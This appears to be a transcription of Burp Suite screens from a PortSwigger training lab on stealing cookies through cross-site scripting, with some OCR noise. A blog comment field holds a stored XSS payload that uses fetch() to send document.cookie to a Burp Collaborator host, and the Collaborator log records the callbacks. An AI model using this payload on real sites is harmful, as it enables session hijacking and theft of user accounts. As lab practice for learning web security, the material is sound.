

Send Cancel &lt; &gt; ▾ ▸ ▸

Target: https://ac731fbd1f5cea4d803e0efc005800c7.web-security-academy.net ⓘ ?

## Request

Raw Params Headers Hex

Pretty Raw ↵ Actions ▾

```

1 GET / HTTP/1.1
2 Host: ac731fbd1f5cea4d803e0efc005800c7.web-security-academy.net
3 Connection: close
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
  change;v=b3;q=0.9
8 Sec-Fetch-Site: same-origin
9 Sec-Fetch-Mode: navigate
10 Sec-Fetch-User: 71
11 Sec-Fetch-Dest: document
12 Referer: https://ac731fbd1f5cea4d803e0efc005800c7.web-security-academy.net/post/comment/confirmation?postId=3
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-US,en;q=0.9
15 Cookie: session=8gfN55AJjMOB6tTuTHbfLXwulaedppJ
16
17

```

## Response

Raw Headers Hex

Pretty Raw ↵ Actions ▾

```

1 HTTP/1.1 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-XSS-Protection: 0
4 Connection: close
5 Content-Length: 7178
6
7 <!DOCTYPE html>
8 <html>
9   <head>
10     <link href=/resources/css/labsBlog.css rel=stylesheet>
11     <link href=/resources/css/bootstrap.css rel=stylesheet>
12     <link href=/resources/css/bootstrap-grid.css rel=stylesheet>
13     <link href=/resources/css/bootstrap-icons.css rel=stylesheet>
14     <title>Exploiting cross-site scripting to steal cookies</title>
15   </head>
16   <body>
17     <div theme="blog">
18       <script src=/resources/js/labHeader.js></script>
19       <div id="labHeader">
20
21       <section class="pageHeader is-solved">
22         <div class="container">
23           <img src=/resources/images/logoAcademy.svg>
24           <div class="title-container">
25             <h2>Exploiting cross-site scripting to steal cookies</h2>
26             <a class="link-back" href=
27               https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies">
28               Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;<svg version="1.1" id="Layer_1" xmlns="
29               http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 28 30"
30               enable-background="new 0 0 28 30" xml:space="preserve" title="back-arrow">
31               <g>
32                 <polygon points="1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15"></polygon>
33                 <polygon points="14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28.15"></polygon>
34               </g>
35             </a>
36           </div>
37           <div class="widgetcontainer-lab-status is-solved">
38             <span>LAB</span>
39             <p>Solved</p>
40             <span class="lab-status-icon"></span>
41           </div>
42         </div>
43         <section id="notification-labsolved" class="notification-labsolved-hidden">
44           <div class="container">
45             <h4>Congratulations, you solved the lab!</h4>
46             <div>
47               <a class="button" href=
48                 https://twitter.com/intent/tweet?text=I+completed+the+Web+Security+Academy+lab%3a0aExploiting+cross-site+scripting+to+steal+cookies%0a%0aWebSecAcademy%0a&url=https%3a%2f%2fportswigger.net%2fweb-security%2fcross-site-scripting%2fexploiting%2flab-stealing-cookies&related=WebSecAcademy,Burp_Suite">
49                 <svg xmlns="http://www.w3.org/2000/svg" width="20.44" height="17.72" viewBox="0 0 20.44 17.72">
50                   <title>Twitter buttons</title>
51                   <path d="
52                     M0,15.85c11.51,5.52,18.51-2,18.71-12.24,3.24,1.73-1.24,1.73-1.24H18.68l1.43-2-2.74,1a4.09,4.09,0,0,0-5-.84c-3.13,1.4
53                     4-2.13,4.94-2.13,4.9486,38,6.21,1.76,1c-1.39,1.56,0,5.39,67,5.73C2.18,7.66,6.4,6.6,5.9-.07,9.36,3.14,10.54,4,10.72a2.
54                     39,2.39,0,0,1-2.18,08c-.09,1,1.2,94,3.33,4.11,3.27a10.18,10.18,0,0,1,0,15.85"></path>
55                   </svg>
56                   Share your skills!
57                 </a>
58                 <a href=
59                   https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies">
60                   Continue learning
61                 </a>
62             </div>
63           </div>
64         </section>
65       </div>
66     </div>
67   </body>
68 </html>

```

ⓘ ? ⚙ ⏪ ⏩ Search...

0 matches

ⓘ ? ⚙ ⏪ ⏩ Search...

0 matches

Done

7,299 bytes | 208 millis

Forward

Drop

Intercept is off

Action

Open Browser

Comment this item



Raw Params Headers Hex

Click "Copy to clipboard" to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the payloads will appear below.

**Generate Collaborator payloads**

Number to generate: 1 Copy to clipboard ☒ Include Collaborator server location

**Poll Collaborator interactions**

Poll every 60 seconds Poll now

#	Time	Type	Payload	Comment
1	2020-Sep-13 15:44:18 UTC	DNS	qicz9w8gcfs80rk7m1jq6a6xx3ord	
2	2020-Sep-13 15:44:18 UTC	DNS	qicz9w8gcfs80rk7m1jq6a6xx3ord	
3	2020-Sep-13 15:44:18 UTC	HTTP	qicz9w8gcfs80rk7m1jq6a6xx3ord	

**Description** DNS query

The Collaborator server received a DNS lookup of type A for the domain name qicz9w8gcfs80rk7m1jq6a6xx3ord.burpcollaborator.net.

The lookup was received from IP address 34.242.153.233 at 2020-Sep-13 15:44:18 UTC.

Close

Do you write by hand first?

Nick O'Bocka | 31 August 2020

Very Gd. Srry my circular vwel buttn is brken.

Freda Wales | 04 September 2020

I have nothing to say about this I'm just typing until the creepy guy in the caf' goes away.

Ann Anotherthing | 06 September 2020

Reading this, I spat my coffee out. I knew it would be too darn hot!

[Leave a comment](#)

Hidden field [csrf]

9uXZjp3J5cCSKJAO1VZx8qsvnbPGihcM

Hidden field [postId]

3

Comment:

```
<script>
fetch('https://qicz9w8gcfs80rk7mi1jq6a6xx3ord.burpcollaborator.net', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
});
</script>
```

Name:

k3n

Email:

k3n@1.com

Website:

http://www.k3

[Post Comment](#)

[< Back to Blog](#)

Forward

Drop

Intercept is off

Action

Open Browser

Comment this item



Raw Params Headers Hex

Click "Copy to clipboard" to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the payloads will appear below.

**Generate Collaborator payloads**

Number to generate: 1  ☒ Include Collaborator server location

**Poll Collaborator interactions**

Poll every 60 seconds

#	Time	Type	Payload	Comment

Close

WE LIKE TO  
BLOG



Coping with Hangovers

They say certain things get better with age, alas, not hangovers. I suppose the easiest thing to do would be to say well, just don't drink in the first place but as well all know, human nature dictates that we...

[View post](#)

